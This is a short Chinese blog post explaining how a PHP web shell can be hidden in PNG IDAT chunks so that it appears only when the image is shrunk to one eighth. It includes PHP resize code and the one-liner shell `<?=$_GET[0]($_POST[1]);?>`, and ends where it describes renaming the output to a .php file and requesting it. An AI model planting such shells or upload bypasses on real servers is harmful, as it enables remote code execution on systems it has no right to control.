Encoding Web Shells in PNG IDAT chunks

本文介绍了一种在PNG图片IDAT块中隐藏PHP web shell的技术,通过缩小图片至原始尺寸的1/8可以揭示shell。利用GD库的imagecopyresample函数和PHP编程,可以实现此功能。文章提供了相关参考链接,并指出原图中shell不可见,只有在特定条件下才能显示。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

原文在这里:https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

很老的一篇文章,大概说的是在png图片里面隐藏php一句话代码。现在看来,实现也不难,使用copy命令即可。

之所以还写出来是为了练习PHP编程。

还可以参考:https://bugscollector.com/tricks/12/


Both images below contain the web shell when resized to 1/8th of theiroriginal size.

Resize to 32x32 using imagecopyresample and save as a PNG using GD to reveal the shell.


就这样原文中没有给出resized 图像的代码,这里贴出一份。

<?php
// 这个文件
$filename = 'shell.png';
$percent = 1/8;

// 获取新的尺寸
list($width, $height) = getimagesize($filename);
$new_width = $width * $percent;
$new_height = $height * $percent;

// 重新取样
$image_p = imagecreatetruecolor($new_width, $new_height);
$image = imagecreatefrompng($filename);
imagecopyresampled($image_p, $image, 0, 0, 0, 0, $new_width, $new_height, $width, $height);

// 输出
imagepng($image_p, 'shell2.png');
?>


原图是看不到php 一句话的(<?=$_GET[0]($_POST[1]);?>),只有缩小到原来的八分之一才显出来。


将生成的png图片重命名为php文件,然后如下访问:


评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值